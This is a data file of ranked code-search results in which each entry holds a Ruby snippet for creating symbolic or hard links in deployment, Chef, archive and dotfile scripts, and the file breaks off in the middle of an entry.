"docid": "1c04c4d9098b245940151c41ed806e51",
"score": "0.7831646",
"text": "def create_symlink(release = nil)\n @remote_shell.run [\n \"rm -f #{@config[:remote_path]}/current\",\n \"ln -s #{release ? @config[:releases_dir] + '/' + release : release_dir} current\"\n ]\n end",
"title": ""
},
{
"docid": "afb175d3d90752928b80b0680402f7f0",
"score": "0.7798995",
"text": "def make_symlink(target)\n File.symlink(target, @path)\n self\n end",
"title": ""
},
{
"docid": "ddee043864da62373070c8d9428c29bb",
"score": "0.7742064",
"text": "def link!(new_link_path, existing_path, symlink = T.unsafe(nil), &callback); end",
"title": ""
},
{
"docid": "816449286da23de3f7c42776505e6ed5",
"score": "0.7708403",
"text": "def create_symlink(from, to)\n if Origen.running_on_windows?\n system(\"call mklink /D #{to.to_s.gsub('/', '\\\\')} #{from.to_s.gsub('/', '\\\\')}\")\n File.new(\"#{to}_is_a_symlink\", 'w') {}\n else\n FileUtils.symlink from, to\n end\n end",
"title": ""
},
{
"docid": "b315a401d67a2a435c755fd88d5768c0",
"score": "0.7677115",
"text": "def symlink(old_name, new_name)\n # TODO do a check for CreateSymbolicLinkW and\n # raise NotImplemented exception on older Windows\n flags = ::File.directory?(old_name) ? SYMBOLIC_LINK_FLAG_DIRECTORY : 0\n old_name = encode_path(old_name)\n new_name = encode_path(new_name)\n unless CreateSymbolicLinkW(new_name, old_name, flags)\n Chef::Win32::Error.raise!\n end\n end",
"title": ""
},
{
"docid": "9dfc6c9dac2bd486eb4828b65dbbba6d",
"score": "0.75423425",
"text": "def symlink!(path, target, &callback); end",
"title": ""
},
{
"docid": "54d09987d8a352a5bdc424a54b48a1ee",
"score": "0.7537586",
"text": "def make_symlink\n begin\n FileUtils.ln_s @source_path, @target_path, verbose: true, force: false\n rescue Errno::EEXIST\n actual_source_path = Pathname(@target_path).readlink.to_s\n if ! actual_source_path.eql? @source_path\n puts \"\\tNOTE: symlink exists with unexpected src path #{actual_source_path}\"\n puts \"\\t was expecting #{@source_path}\"\n else\n # Do Nothing\n end\n end\n end",
"title": ""
},
{
"docid": "4ed644746d5feba7bdf3d2aafe706f3b",
"score": "0.7466891",
"text": "def symlink_it_up!\n recipe_eval do\n new_resource.symlinks.each do |key, value|\n Chef::Log.info \"artifact_deploy[symlink_it_up!] Creating and linking #{new_resource.shared_path}/#{key} to #{release_path}/#{value}\"\n directory \"#{new_resource.shared_path}/#{key}\" do\n owner new_resource.owner\n group new_resource.group\n mode '0755'\n recursive true\n end\n\n link \"#{release_path}/#{value}\" do\n to \"#{new_resource.shared_path}/#{key}\"\n owner new_resource.owner\n group new_resource.group\n end\n end\n end\n end",
"title": ""
},
{
"docid": "44d1140943ca7af6cd4d030cd7aa6b25",
"score": "0.74533916",
"text": "def create_symlink( folder, target_folder )\n raise ArgumentError , \"Origin folder #{folder} is not a valid folder\" unless File.directory?(folder)\n FileUtils.ln_s folder, target_folder\n end",
"title": ""
},
{
"docid": "bebb746eede05d9f8bd16095434c19ad",
"score": "0.7380748",
"text": "def create_symlink(dest_path)\n # TODO: Symlinks pose security challenges. Symlink support temporarily\n # removed in view of https://github.com/rubyzip/rubyzip/issues/369 .\n warn \"WARNING: skipped symlink '#{dest_path}'.\"\n end",
"title": ""
},
{
"docid": "95c2d6c79ec86906a95199ddba76378b",
"score": "0.7361966",
"text": "def add_symlink(name)\n puts \"Adding #{File.join(POW_PATH, name)}\"\n cmd = \"if [[ ! -h '#{File.join(POW_PATH, name)}' ]]; then ln -s '#{APP_PATH}' '#{File.join(POW_PATH, name)}'; fi\"\n system cmd\nend",
"title": ""
},
{
"docid": "6d127c5d759d7ebec61734903b9329a7",
"score": "0.73588103",
"text": "def symlink\n run(\"rm -f #{current_path} && ln -s #{release_path} #{current_path}\")\nend",
"title": ""
},
{
"docid": "4fb01118df15b5135e908ddc544178e8",
"score": "0.7343083",
"text": "def link_to(destination)\n FileUtils.mkdir_p destination\n each { |path| (destination + path.basename).make_symlink(path.relative_path_from(destination)) }\n end",
"title": ""
},
{
"docid": "4fb01118df15b5135e908ddc544178e8",
"score": "0.7343083",
"text": "def link_to(destination)\n FileUtils.mkdir_p destination\n each { |path| (destination + path.basename).make_symlink(path.relative_path_from(destination)) }\n end",
"title": ""
},
{
"docid": "405f3573fb57994743483988942d5875",
"score": "0.7297031",
"text": "def createPowLink\n\t\t\taction = -> { File.symlink(RvmPow::RAKE_APP_DIRECTORY, RvmPow::POW_LINK) }\n\t\t\tfileAction action\n\t\tend",
"title": ""
},
{
"docid": "e6cbc98f87a4e8567aa79e4ae5b91620",
"score": "0.7274695",
"text": "def mklink newfn, fn\r\n\t\tnewfn = newfn.gsub(\"/\", \"\\\\\")\r\n\t\tfn = fn.gsub(\"/\", \"\\\\\")\r\n\t\tputs \"Linking binary file: #{fn}\\n \tto\t#{newfn} \"\r\n\t\tcmd = \"mklink #{newfn} #{fn}\"\r\n\t\tputs cmd\r\n\t\texec cmd\t# hmmm worked fine from command line. Maybe an Admin subshell is not Admin anymore? another spawned cmd.exe shell ?\r\n\r\n\tend",
"title": ""
},
{
"docid": "02f9673effd03ff3f29d9673234f6e24",
"score": "0.7226946",
"text": "def add_symlink(name, target, mode)\n write_header name, mode, :typeflag => \"2\", :linkname => target\n end",
"title": ""
},
{
"docid": "2e81e0cff2dd9a1cd314996aa5c1f775",
"score": "0.72009593",
"text": "def link(new_link_path, existing_path, symlink)\n send_request(FXP_LINK, :string, new_link_path, :string, existing_path, :bool, symlink)\n end",
"title": ""
},
{
"docid": "c200be2e566c39bbe8cf9510123b4a51",
"score": "0.7177182",
"text": "def create_hardlink original, copy\n mkdir_p(copy.dirname)\n log.debug(\"Linking #{copy} -> #{original}\")\n ln(original, copy, force: true)\n process_metadata_for(copy) if settings[:metadata]\n end",
"title": ""
},
{
"docid": "fd2640fe271026c19711f2cf60fd4057",
"score": "0.7164318",
"text": "def symbolic_link(target, link_location)\n # -s Symbolic link\n # -f Force (overwrite)\n # -T Treat link name as file, even if it is a directory.\n Log.info \"#@deployment_name: Creating link to '#{target}' as '#{link_location}' ...\"\n execute \"ln -sfT #{target} #{link_location}\"\n end",
"title": ""
},
{
"docid": "3b886ba09f73773d7cf2828410c59951",
"score": "0.7088045",
"text": "def link_to(source, destination)\n FileUtils.mkdir_p destination\n source.each { |path| (destination + path.basename).make_symlink(path.relative_path_from(destination)) }\n end",
"title": ""
},
{
"docid": "98a47d825594017a70800fe23020b758",
"score": "0.7057995",
"text": "def create_symlinks(original_locations, new_locations)\n (0..original_locations.count - 1).each do |index|\n old = original_locations[ original_locations.keys[index] ]\n new = new_locations[ new_locations.keys[index] ]\n\n if can_symlink?(new)\n File.symlink(old, new)\n puts \"#{ old } -> #{ new } symlink created.\"\n else\n puts \"#{ new } already exists. Continuing...\"\n end\n end\nend",
"title": ""
},
{
"docid": "98a47d825594017a70800fe23020b758",
"score": "0.7057995",
"text": "def create_symlinks(original_locations, new_locations)\n (0..original_locations.count - 1).each do |index|\n old = original_locations[ original_locations.keys[index] ]\n new = new_locations[ new_locations.keys[index] ]\n\n if can_symlink?(new)\n File.symlink(old, new)\n puts \"#{ old } -> #{ new } symlink created.\"\n else\n puts \"#{ new } already exists. Continuing...\"\n end\n end\nend",
"title": ""
},
{
"docid": "218bc3e114699010025e4c1d6b2ad82c",
"score": "0.70163375",
"text": "def symlink!(src, dst)\n File.unlink(dst) if File.exist?(dst)\n File.symlink(src, dst)\n end",
"title": ""
},
{
"docid": "0ade6153916db2056720ebba0dcc02be",
"score": "0.70141196",
"text": "def symlink_destination\n @symlink_destination\n end",
"title": ""
},
{
"docid": "23e6b1ed3998e28dc2dc3b31f8366a3b",
"score": "0.69881463",
"text": "def symlink(path, target)\n link(path, target, true)\n end",
"title": ""
},
{
"docid": "c932f9237b5371b9d76fedefc465df58",
"score": "0.6982419",
"text": "def relative_symlink(old, new)\n relative_path = Pathname.new(old).relative_path_from(Pathname.new(new))\n if File.symlink?(new)\n if File.readlink(new) != relative_path.to_s\n File.unlink(new)\n log :updated, 'symlink %s' % Path.relative_path(new)\n end\n else\n log :created, 'symlink %s' % Path.relative_path(new)\n end\n FileUtils.ln_s(relative_path, new)\n end",
"title": ""
},
{
"docid": "bbfba2182c76839141f5ff5928faa739",
"score": "0.6976124",
"text": "def sym_link(path, link_to, user, group)\n begin\n FileUtils.rm_f(link_to) # get rid of any old one\n FileUtils.ln_sf(path, link_to) # make a new link_to that points to path\n set_ownership(user, group, link_to)\n rescue => e\n raise Chef::Exceptions::FileNotFound.new(\"Cannot symlink #{path} to #{link_to} : #{e.message}\")\n end\n end",
"title": ""
},
{
"docid": "c30db21324ae0791e8ba18b5db09336e",
"score": "0.6968017",
"text": "def symlink(to_path)\n FileUtils.rm to_path if File.exist? to_path\n FileUtils.ln_s(@path, to_path)\n end",
"title": ""
},
{
"docid": "d9e31b63e8b12ac8fb97309610e052c0",
"score": "0.6961607",
"text": "def create_link(destination, *args); end",
"title": ""
},
{
"docid": "310a1e7e8e9d4f3457ab50252a8fce78",
"score": "0.6954697",
"text": "def symlink(name, link_target, opts = {})\n raise ClosedStream if @closed\n\n raise FileNameTooLong if link_target.size > 100\n\n name, prefix = split_name(name)\n header = {\n :name => name,\n :mode => opts[:mode],\n :typeflag => \"2\",\n :size => 0,\n :linkname => link_target,\n :gid => opts[:gid],\n :uid => opts[:uid],\n :mtime => opts[:mtime],\n :prefix => prefix\n }\n @io.write(PosixHeader.new(header))\n nil\n end",
"title": ""
},
{
"docid": "f6a4a3206130c3bcf9e7cae902c26961",
"score": "0.69419724",
"text": "def create\n symlink_files.each do |file|\n FileUtils.ln_s(File.join(File.dirname(__FILE__), \"templates\", file), File.join(current_path, file))\n end\n end",
"title": ""
},
{
"docid": "e67cbea656481240b6d5c7c5752faf41",
"score": "0.6896738",
"text": "def symlink target, symlink_name\n call \"ln -sfT #{target} #{symlink_name}\" rescue false\n end",
"title": ""
},
{
"docid": "709ee95fe226b44a2fca20e644af04db",
"score": "0.68833464",
"text": "def symlink?; end",
"title": ""
},
{
"docid": "709ee95fe226b44a2fca20e644af04db",
"score": "0.68833464",
"text": "def symlink?; end",
"title": ""
},
{
"docid": "709ee95fe226b44a2fca20e644af04db",
"score": "0.68833464",
"text": "def symlink?; end",
"title": ""
},
{
"docid": "eb9ac1e9fbc3ce19bea2fd2fc9f07025",
"score": "0.688136",
"text": "def make\n super\n\n # no symbolic links needed for static libraries\n return if :static == @link_type\n\n if Build.system.darwin?\n # create symbolic link install_name --> real name if the two differ\n # get basenames of actual file and install_name; basename includes extension\n base, ibase = File.basename( @path ), File.basename( @install_name )\n return if base == ibase # no link needed\n\n link = File.join File.dirname( @path ), ibase\n return if File.exist? link # link already exists\n\n else\n\n # create symbolic link soname --> real name if the two differ\n base = File.basename @path # basename includes extension\n return if base == @soname # no link needed\n\n link = File.join File.dirname( @path ), @soname\n return if File.exist? link # link already exists\n\n end # darwin check\n\n cmd = \"ln -s %s %s\" % [@path, link]\n Util.run_cmd cmd, Build.logger\n\n end",
"title": ""
},
{
"docid": "e3264d6ba0916a51075a7f5e3cb8f7ac",
"score": "0.6880447",
"text": "def link(origin, target)\n if IS_WINDOWS\n flag = File.directory?(origin) ? ' /J' : ''\n origin = File.expand_path(origin).gsub!('/', '\\\\')\n target = File.expand_path(target).gsub('/', '\\\\')\n `cmd.exe /c \\\"mklink#{flag} #{target} #{origin}\\\"\"`\n else\n `ln -s #{File.expand_path origin} #{target}`\n end\nend",
"title": ""
},
{
"docid": "37959f449cd9af875ca9f8b4627dcef6",
"score": "0.6859834",
"text": "def recreate_symlinked_dir(orig_dir, symlinked_dir)\n execute(:rm, \"-r\", symlinked_dir) if test \" [ -d #{symlinked_dir} ] \"\n execute :ln, \"-sTf\", orig_dir, symlinked_dir\n end",
"title": ""
},
{
"docid": "1a407c0148dae6e9fe19447b12163433",
"score": "0.6831613",
"text": "def symlink_(target, original, args={})\n entity target => original do\n require 'pathname'\n original = Pathname.new(original.to_s).relative_path_from(\n Pathname.new(File.dirname(original.to_s)))\n ln_sf original.to_s, target.to_s\n end\n end",
"title": ""
},
{
"docid": "f4f4b2800d4bc953a0badc3ee198c11f",
"score": "0.6823335",
"text": "def link( target, lnk )\n if /^\\// !~ target\n target = File.join( install_directory, target )\n end\n shell \"ln -sfv #{target} #{lnk}\"\n end",
"title": ""
},
{
"docid": "923cf8e3efe07bd08fb464c2bd3ca5b4",
"score": "0.6817543",
"text": "def create_symlink(destPath)\n stat = nil\n begin\n stat = File::lstat(destPath)\n rescue Errno::ENOENT\n end\n\n io = get_input_stream\n linkto = io.read\n\n if stat\n if stat.symlink?\n if File::readlink(destPath) == linkto\n return\n else\n raise ZipDestinationFileExistsError,\n \"Cannot create symlink '#{destPath}'. \"+\n \"A symlink already exists with that name\"\n end\n else\n raise ZipDestinationFileExistsError,\n \"Cannot create symlink '#{destPath}'. \"+\n \"A file already exists with that name\"\n end\n end\n\n File::symlink(linkto, destPath)\n end",
"title": ""
},
{
"docid": "202bbec390e41158dcfa487bf46adf96",
"score": "0.67965007",
"text": "def follow_symlinks=(_arg0); end",
"title": ""
},
{
"docid": "e2ddbe2a8d9958c2e0a96d73257d1b13",
"score": "0.67939824",
"text": "def follow_symlinks; end",
"title": ""
},
{
"docid": "e3b5e4c8e125b51872cc5f81c84d93c6",
"score": "0.6787723",
"text": "def create_symlink(destPath)\n stat = nil\n begin\n stat = ::File::lstat(destPath)\n rescue Errno::ENOENT\n end\n\n io = get_input_stream\n linkto = io.read\n\n if stat\n if stat.symlink?\n if ::File::readlink(destPath) == linkto\n return\n else\n raise ZipDestinationFileExistsError,\n \"Cannot create symlink '#{destPath}'. \"+\n \"A symlink already exists with that name\"\n end\n else\n raise ZipDestinationFileExistsError,\n \"Cannot create symlink '#{destPath}'. \"+\n \"A file already exists with that name\"\n end\n end\n\n ::File::symlink(linkto, destPath)\n end",
"title": ""
},
{
"docid": "82fba6b3e0aecd5c227496080054c562",
"score": "0.6780767",
"text": "def create_link(a, b)\n log.debug(log_key) { \"Linking `#{a}' to `#{b}'\" }\n FileUtils.ln_s(a, b)\n end",
"title": ""
},
{
"docid": "8b0b365b166a7b81225b1789e4413767",
"score": "0.6748528",
"text": "def create_link(src, dst)\n\t\tdirs = File.dirname(dst).split(\"/\")\n\t\tignore_dirs = [\"/\", \"/home\", \"/root\"]\n\t\tsecure_dirs = %w(.cache .cups .dbus .gnupg .local .pki .ssh)\n\t\tfuser = node[:user]\n\t\tfor i in 0...(dirs.length) do\n\t\t\tdir = dirs[0..i].join(\"/\")\n\t\t\tnext if dir == \"\"\n\t\t\tfuser = node[:user]\n\t\t\tfuser = \"root\" if i >= 1 && dirs[0] == \"\" && dirs[1] == \"root\"\n\t\t\tfuser = dirs[2] if i >= 2 && dirs[0] == \"\" && dirs[1] == \"home\"\n\t\t\tfmode = \"0755\"\n\t\t\tnext if ignore_dirs.include?(dir)\n\t\t\tfmode = \"0700\" if i == 2 && dirs[0] == \"\" && dirs[1] == \"home\"\n\t\t\tfor secure_dir in secure_dirs do\n\t\t\t\tfmode = \"0700\" if dirs.include?(secure_dir)\n\t\t\tend\n\t\t\tevacuate_file(dir) if File.exist?(dir) && File.lstat(dir).ftype != 'directory'\n\t\t\tdirectory dir do\n\t\t\t\tuser\tfuser\n\t\t\t\towner\tfuser\n\t\t\t\tgroup\tfuser\n\t\t\t\tmode\tfmode\n\t\t\tend\n\t\tend\n\t\tif File.symlink?(dst) && File.readlink(dst) != src then\n\t\t\tevacuate_file(dst)\n\t\telsif File.exist?(dst) && !File.symlink?(dst) then\n\t\t\tif !system(\"diff \\\"#{dst}\\\" \\\"#{src}\\\"\") then\n\t\t\t\tevacuate_file(dst)\n\t\t\telse\n\t\t\t\tFile.delete(dst)\n\t\t\tend\n\t\tend\n\t\tfmode = \"0%o\" % (File.stat(src).mode & 0777)\n\t\tlink dst do\n\t\t\tto src\n\t\t\tuser fuser\n\t\tend\n\t\tfile dst do\n\t\t\taction :edit\n\t\t\tmode fmode\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1f30b3781373eb22e84cede3107dbc12",
"score": "0.6731716",
"text": "def symlink(src, file)\n\tif test(\"[ ! -f #{fetch(:deploy_to)}/#{file} ]\")\n\t\texecute \"ln -s #{src} #{fetch(:deploy_to)}/#{file}\"\n\tend\nend",
"title": ""
},
{
"docid": "3dbc8eb535a60fa2287e144f05eb88b8",
"score": "0.6729207",
"text": "def create_shortcut(targetFileName, linkName)\r\n shell = WIN32OLE.new(\"WScript.Shell\")\r\n scut = shell.CreateShortcut(linkName + '.lnk')\r\n scut.TargetPath = File.expand_path(targetFileName)\r\n scut.Save\r\n scut\r\n end",
"title": ""
},
{
"docid": "3e84e2c3271e56c2b55246c924cddc21",
"score": "0.6703144",
"text": "def link(source, target)\n @component.install << \"#{@component.platform.install} -d '#{File.dirname(target)}'\"\n # Use a bash conditional to only create the link if it doesn't already point to the correct source.\n # This allows rerunning the install step to be idempotent, rather than failing because the link\n # already exists.\n @component.install << \"([[ '#{target}' -ef '#{source}' ]] || ln -s '#{source}' '#{target}')\"\n @component.add_file Vanagon::Common::Pathname.file(target)\n end",
"title": ""
},
{
"docid": "00a75ef1ad57b45ebb4c26b29b9b657b",
"score": "0.6665806",
"text": "def create(args = [])\n app_name = args[0] ? args[0].strip.to_s.downcase : File.basename(current_path)\n symlink_path = \"#{POWPATH}/#{app_name}\"\n unless File.exist?(symlink_path)\n FileUtils.ln_s(current_path, symlink_path)\n $stdout.puts \"Successfully created pow app #{app_name}!\"\n else\n $stdout.puts \"App `#{app_name}` already exists.\"\n $stdout.puts \"Powify skipped to create symlink.\"\n end\n $stdout.puts \"Type `powify browse #{app_name}` to open the application in your browser.\"\n end",
"title": ""
},
{
"docid": "2c4e4f6e5198777bb018f1730f2b33c5",
"score": "0.66563183",
"text": "def makeSymlinks(presto_version)\n println \"Making Symlinks...\"\n lzo_file = Dir.glob(\"/home/hadoop/share/hadoop/common/lib/*hadoop-lzo.jar\")[0]\n hives = (`ls /home/hadoop/.versions/presto-server-#{presto_version}/plugin`).split(/\\r?\\n/).select{|i| i.start_with?(\"hive\")}\n hives.each { |x| sudo \"ln -s #{lzo_file} /home/hadoop/.versions/presto-server-#{presto_version}/plugin/#{x}/hadoop-lzo.jar\" }\n sudo \"ln -s /home/hadoop/.versions/presto-server-#{presto_version}/ /home/hadoop/presto-server\"\nend",
"title": ""
},
{
"docid": "41543e511ed4ae2b1d9ce89d572eeab7",
"score": "0.66521204",
"text": "def make_link(target)\n File.link(target, @path)\n self\n end",
"title": ""
},
{
"docid": "be074c30e2d11b235d37954b4ebf5ce1",
"score": "0.6626789",
"text": "def link(old_name, new_name)\n # TODO do a check for CreateHardLinkW and\n # raise NotImplemented exception on older Windows\n old_name = encode_path(old_name)\n new_name = encode_path(new_name)\n unless CreateHardLinkW(new_name, old_name, nil)\n Chef::Win32::Error.raise!\n end\n end",
"title": ""
},
{
"docid": "1916bf8a15494f796934c942d80958e5",
"score": "0.66161203",
"text": "def symlink(path, target)\n send_request(FXP_SYMLINK, :string, path, :string, target)\n end",
"title": ""
},
{
"docid": "a310fb16cbd7641a84de1ceb0829665a",
"score": "0.66059434",
"text": "def symlink_dest_file_to_dest_file(target, link)\n target_pathname = Pathname.new(File.join(destination_root, target))\n link_pathname = Pathname.new(File.join(destination_root, link))\n\n link_directory = link_pathname.dirname\n link_basename = link_pathname.basename\n target_relative_path = target_pathname.relative_path_from(link_directory)\n\n `cd #{link_directory} && ln -s #{target_relative_path} #{link_basename}`\n end",
"title": ""
},
{
"docid": "a90734a6417ace87224edc04f62df4d7",
"score": "0.6605581",
"text": "def symlink_public_directory(name)\n run \"mkdir -p #{shared_path}/#{name}\"\n run \"ln -s #{shared_path}/#{name} #{release_path}/public/#{name}\"\n end",
"title": ""
},
{
"docid": "6b2913c735a3776bb57cf43f887d8a9e",
"score": "0.65987825",
"text": "def create_current_symlink_folder\n FileUtils.rm_f(@config.current_deploy_folder) if File.symlink?(@config.current_deploy_folder)\n FileUtils.ln_s @config.env_time_folder, @config.current_deploy_folder\n self\n end",
"title": ""
},
{
"docid": "a3f5f698095cdc397ddf7a6c2ad83073",
"score": "0.65890336",
"text": "def replace_symlink(path, dst)\n replacement = \"#{path}.new-#{SecureRandom.hex(3)}\"\n File.symlink(dst, replacement)\n File.rename(replacement, path)\n end",
"title": ""
},
{
"docid": "9bd50383a6083145de2e0385aa5f8215",
"score": "0.6580244",
"text": "def app_user_symlinks(exec_action)\n link \"#{deploy_user_home_dir}/#{new_resource.name}\" do\n to deploy_to\n owner app_user\n group app_group\n action exec_action\n end\nend",
"title": ""
},
{
"docid": "ad1f974ecf21fc10cc38566fdd3010b3",
"score": "0.6563967",
"text": "def symlink(oname, nname)\n #\n # oname is the path to the original file in the global FS namespace.\n # It is not modified and used as the link target.\n #\n VirtFS.fs_lookup_call(nname) { |p| file_symlink(oname, p) }\n end",
"title": ""
},
{
"docid": "ab622dbb5c8dba1e7950d3434d0efb49",
"score": "0.65585667",
"text": "def symlink_admin_site hostname\n linkname = 'admin_' + (hostname.split('.'))[0].gsub('-', '_')\n\n if File.exists? linkname\n STDERR.puts \"Can't make symlink, file #{linkname} exists.\"\n elsif File.symlink? linkname\n STDERR.puts \"Can't make symlink, #{linkname} exists.\"\n else\n FileUtils.symlink('/usr/local/islandora/offline-ingest/web-report', linkname)\n end\nend",
"title": ""
},
{
"docid": "a8fe9961ef1425ae9a7edc5a2d70ca23",
"score": "0.65555924",
"text": "def symlink_to_shared(from, to = nil)\n orig_path = release_path + from\n\n if to\n dest_path = shared_path + to\n else\n dest_path = shared_path + from\n end\n\n run \"mkdir -p #{orig_path}\" if path_is_dir orig_path\n run \"mkdir -p #{dest_path}\" if path_is_dir dest_path\n\n # if the original path exists, \n # and the path is a directory\n # rsync all the existing files to the destination first\n # then delete it\n run \"if [ -d '#{orig_path}' ]; then rsync -avz #{orig_path}/ #{dest_path}; fi\" if path_is_dir orig_path\n\n run \"rm -rf #{orig_path} && ln -s #{dest_path} #{orig_path}\"\n\nend",
"title": ""
},
{
"docid": "b13d8e31cbafa7e718345c37978231bd",
"score": "0.65331626",
"text": "def symlink_home(src, dest)\n home_dir = ENV['HOME']\n if( !File.exists?(File.join(home_dir, dest)) || File.symlink?(File.join(home_dir, dest)) )\n # FileUtils.ln_sf was making odd nested links, and this works.\n FileUtils.rm(File.join(home_dir, dest)) if File.symlink?(File.join(home_dir, dest))\n FileUtils.ln_s(File.join(File.dirname(__FILE__), src), File.join(home_dir, dest))\n puts_green \" #{dest} -> #{src}\"\n else\n puts_red \" Unable to symlink #{dest} because it exists and is not a symlink\"\n end\nend",
"title": ""
},
{
"docid": "b13d8e31cbafa7e718345c37978231bd",
"score": "0.65331626",
"text": "def symlink_home(src, dest)\n home_dir = ENV['HOME']\n if( !File.exists?(File.join(home_dir, dest)) || File.symlink?(File.join(home_dir, dest)) )\n # FileUtils.ln_sf was making odd nested links, and this works.\n FileUtils.rm(File.join(home_dir, dest)) if File.symlink?(File.join(home_dir, dest))\n FileUtils.ln_s(File.join(File.dirname(__FILE__), src), File.join(home_dir, dest))\n puts_green \" #{dest} -> #{src}\"\n else\n puts_red \" Unable to symlink #{dest} because it exists and is not a symlink\"\n end\nend",
"title": ""
},
{
"docid": "0f44193d28d9a6de6cb11881a14f314c",
"score": "0.6530341",
"text": "def link_file(source, target)\n source = \"#{pwd}/files/#{source}\"\n target = File.expand_path target\n rm_rf target\n FileUtils.mkdir_p File.dirname(target)\n ln_s source, target\nend",
"title": ""
},
{
"docid": "8829c765fa98ba6b992069817a112ff6",
"score": "0.65194863",
"text": "def make_link_where_appropriate(source, target)\n unless symlink_already_matchs(source, target)\n backup(target)\n FileUtils.symlink(source, target, verbose: true)\n else\n puts \"#{target} is already set\"\n end\nend",
"title": ""
},
{
"docid": "2b713e0d603abeb40321a06338a3be8a",
"score": "0.6504546",
"text": "def make_link(inside, from, to)\n Dir.chdir(inside) do\n from.gsub!(/#{REPO_ROOT}/, '')\n dots = inside.gsub(/#{REPO_ROOT}/, '').count('/')\n from = from.insert(0, '../' * dots).squeeze('/')\n\n warn \"link: src #{from} doesn't exist\" unless File.exists?(from)\n\n puts \"link: #{from} -> #{inside}/#{to}\"\n `ln -s #{from} #{to}`\n end\nend",
"title": ""
},
{
"docid": "1dfcffdd6dca5a40724c25f88a6276ec",
"score": "0.64947885",
"text": "def soft_link(dir, link, ssh)\n if ssh\n # Can't get \"ln -sf\" to consistently remove old link, so manually removing it first\n ssh.exec!(\"if [ -L #{link} ]; then rm #{link}; fi\")\n ssh.exec!(\"ln -sf #{dir} #{link}\") do |ch, stream, data|\n if stream == :stderr\n warn \"\\tFailed to create symlink: #{link}\"\n end\n end\n else\n dir_spc = dir.gsub(/\\\\\\s+/, ' ')\n link_spc = link.gsub(/\\\\\\s+/, ' ')\n File.unlink(link_spc) if File.symlink?(link_spc)\n File.symlink(dir_spc, link_spc)\n warn \"\\tFailed to create symlink: #{link_spc}\" if !File.symlink?(link_spc)\n end\nend",
"title": ""
},
{
"docid": "fb8d54e7bd68241971d097ea31bb5f55",
"score": "0.6483564",
"text": "def install!\n\t\t\traise \"Target exists\" if target.present?\n\n\t\t\t# File entry - create the containing directory and the symlink\n\t\t\ttarget.dirname.mkpath unless target.dirname.directory? # including symlink to directory\n\t\t\ttarget.make_symlink link_target\n\t\tend",
"title": ""
},
{
"docid": "54061ccb63cc15e3af9282d7cdd451f6",
"score": "0.6472606",
"text": "def slink node, p2\n link_dir, link_name = split_path p2\n mkdir link_dir unless link_dir == ''\n link node, link_dir, link_name\n end",
"title": ""
},
{
"docid": "93d9cb3f55576349561c078cb485d1e3",
"score": "0.6437991",
"text": "def ensure_symlink(symlink_name, original_file)\n unless File.symlink?(symlink_name)\n ensure_directory(File.dirname(symlink_name))\n target = File.absolute_path(original_file)\n File.symlink(target, symlink_name)\n return true\n end\n return false\n end",
"title": ""
},
{
"docid": "e7a65f3395abbb94e4f7c560f035e59a",
"score": "0.6427001",
"text": "def link_file(target, symlink, replace_all=false)\n puts \"linking #{symlink.expand_path} -> #{target.expand_path}\"\n\n # Mode specifies the type of linking we want to do. When there\n # are conflicts:\n # - i indicates \"interactively replace\"\n # - f indicates \"force replace\"\n mode = replace_all ? 'f' : 'i'\n\n # -f and -i will mess up symlinks for directories\n mode = nil if target.directory?\n\n system %Q{ln -s -v#{mode} \"#{target.expand_path}\" \"#{symlink.expand_path}\"}\nend",
"title": ""
},
{
"docid": "8b3e88e6650e42d39a84d6a442228b4d",
"score": "0.6423398",
"text": "def link(target)\n @client.exec!(\"sudo ln -s #{escaped_path} #{target.shellescape}\")\n end",
"title": ""
},
{
"docid": "c35b09494fa688fc61475f993600b978",
"score": "0.64116496",
"text": "def symlink(target, name)\n repo_dir.join(target).symlink(repo_dir.join(\n name\n ))\n\n self\n end",
"title": ""
},
{
"docid": "20e114a7b2c7ec2e14c3852db7015801",
"score": "0.63939553",
"text": "def add_link(path)\n add_entry(path) { Git::Object::Blob.new(path.readlink) }\n end",
"title": ""
},
{
"docid": "f9a1b19320bf8ff9ad654e19ba3bfec6",
"score": "0.6382204",
"text": "def ln(src, dst)\n FileUtils.ln_sf(src, dst, verbose: verbose?)\n rescue Errno::EEXIST => e\n # It's a race - this can occur because ln_sf removes the old\n # dst, then creates the symlink. Raise if they don't match.\n raise e if !(File.symlink?(dst) && src == File.readlink(dst))\n end",
"title": ""
},
{
"docid": "85243cf214321dfe1e21a59de207f305",
"score": "0.6377648",
"text": "def external_symlink(target, name)\n Pathutil.new(target).symlink(repo_dir.join(\n name\n ))\n\n self\n end",
"title": ""
},
{
"docid": "26d0a5179b1efef57f395875cd4ddd9e",
"score": "0.6376785",
"text": "def symlink_output(link)\n return unless Chefctl::Config.symlink_output\n Chefctl.lib.symlink(@paths[:out], @paths[link])\n end",
"title": ""
},
{
"docid": "36252d2bb4caaac1a1a598aed19531d9",
"score": "0.63663024",
"text": "def ln_s(src_path, dest_path)\n if exists?(dest_path) || symlink?(dest_path)\n false\n else\n dest_path.make_symlink src_path\n true\n end\n end",
"title": ""
},
{
"docid": "cd772fb8f191c1f70cbc8e5a453800fc",
"score": "0.63390124",
"text": "def make_link_where_appropriate(source, target)\n if symlink_already_matchs(source, target)\n puts \"#{target} is already set\"\n else\n backup(target)\n FileUtils.symlink(source, target, verbose: true)\n end\n end",
"title": ""
},
{
"docid": "3d86e58ed725bc376cdc072e0d2575e6",
"score": "0.6338407",
"text": "def push_to_output(path, tv_show_name, season, output, episod=\"\")\n puts path\n dir = \"#{output}/#{tv_show_name}/\"\n symlink = \"#{output}/#{tv_show_name}/season_#{season}\"\n if (episod!=\"\")\n dir = \"#{output}/#{tv_show_name}/season_#{season}/\"\n symlink = \"#{output}/#{tv_show_name}/season_#{season}/episod_#{episod}\"\n end\n puts symlink\n if (!File.exists?(dir))\n FileUtils.mkdir_p(dir)\n end\n if (!File.exists?(symlink))\n File.symlink(path,symlink)\n end\nend",
"title": ""
},
{
"docid": "b93f99ed570d4e768b0887f9189d52c4",
"score": "0.6335206",
"text": "def test_symlinks\n path = tempfile\n link = tempfile\n\n File.open(path, \"w\") { |f| f.puts \"yay\" }\n\n file = nil\n assert_nothing_raised {\n file = Puppet::Type.type(:file).new(\n :title => \"somethingelse\",\n :ensure => path,\n :path => link\n )\n }\n\n assert_events([:link_created], file)\n\n assert(FileTest.symlink?(link), \"Link was not created\")\n\n assert_equal(path, File.readlink(link), \"Link was created incorrectly\")\n\n # Make sure running it again works\n assert_events([], file)\n assert_events([], file)\n assert_events([], file)\n end",
"title": ""
},
{
"docid": "28f809fc576c4b243909749110ff42a7",
"score": "0.6332381",
